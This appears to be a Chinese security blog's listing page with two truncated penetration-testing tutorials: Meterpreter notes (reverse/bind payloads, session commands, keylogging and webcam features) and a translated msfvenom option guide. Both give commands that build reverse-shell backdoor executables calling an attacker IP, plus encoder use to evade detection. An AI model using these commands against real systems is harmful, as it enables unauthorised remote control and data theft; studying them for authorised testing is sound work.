123

Metasploit 渗透测试笔记(Meterpreter篇)

0x01 背景 meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况,别担心结束了之后再来一次,喝杯茶就好了。 0x02 常用类型 reverse_tcp path : payload/windows/meterpreter/reverse_tcp msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ~/Desktop/backdoor.exe 反向连接shell,使用起来很稳定。需要设置LHOST。 bind_tcp path : payload/windows/meterpreter/bind_tcp 正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。 reverse_http/https path: payload/windows/meterpreter/reverse_http/https 通过http/https的方式反向连接,在网速慢的情况下不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端口换成443试试。 0x03 基本命令 常用的有 background:将当前会话放置后台 load/use:加载模块 Interact:切换进一个信道 migrate:迁移进程 run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。 Resource:执行一个已有的rc脚本。 0x04 常用扩展库介绍 meterpreter中不仅有基本命令还有很多扩展库,load/use之后再输入help,就可以看到关于这个模块的命令说明了。 stdapi command 文件相关 stdapi中有关于文件读写,上传下载,目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常用的当然就是文件操作及网络有关的命令。 通常我会用upload和download进行文件上传和下载,注意在meterpreter中也可以切换目录,当然也可以编辑文件。所以就不用运行shell再用echo写。 使用edit命令时需要注意编辑的是一个存在的文件,edit不能新建文件。 输入edit + 文件后就会调用vi编辑了。 ...

2017年1月23日 · 1 分钟 · lucien116

Meatsploit Framework msfvenom使用简介

2015年6月8日,Wei Chen在rapid7官方博客上发文,将于近期 移除metasploit-framework版本中的msfencoder和msfpayload, 并使用msfvenom取代。官方的msfvenom使用说明 戳 这里 ,下面给出翻译的使用说明。 最近一次更新的msf中已经去掉了这两个工具,同时,msfcli也即将被移除。 kali和BT目前使用的MSF依然是旧版,所以用kali和BT5的小伙伴可以暂时不考虑。在其他平台上编译安装msf的童鞋,可能已经发现这个东西了。 msfvenom命令行选项如下: Options: -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039; -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表 生成payload 生成payload,有有两个必须的选项:-p -f 使用-p 来指定要使用的payload。 可以使用下面的命令来查看所有msf可用的payload列表 ./msfvenom -l payloads -p选项也支持使用使用自定义的payload,需要使用 “-",比如: cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw 使用-f 来指定payload的输出格式 举例: ./msfvenom -p windows/meterpreter/bind_tcp -f exe 使用下面的命令,可以产看msf支持的输出格式 ./msfvenom --help-formats 一个典型的msfvenom使用举例如下: $ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker&#039;s IP] lport=4444 -f exe -o /tmp/my_payload.exe 对payload进行编码 如果你使用了-b选项(设定了规避字符集),会自动调用编码器。 其他情况下,你需要使用-e选项来使用编码模块,例如: ./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw 可以使用下面的命令,来查看可用的编码器 ...

2016年8月24日 · 1 分钟 · lucien116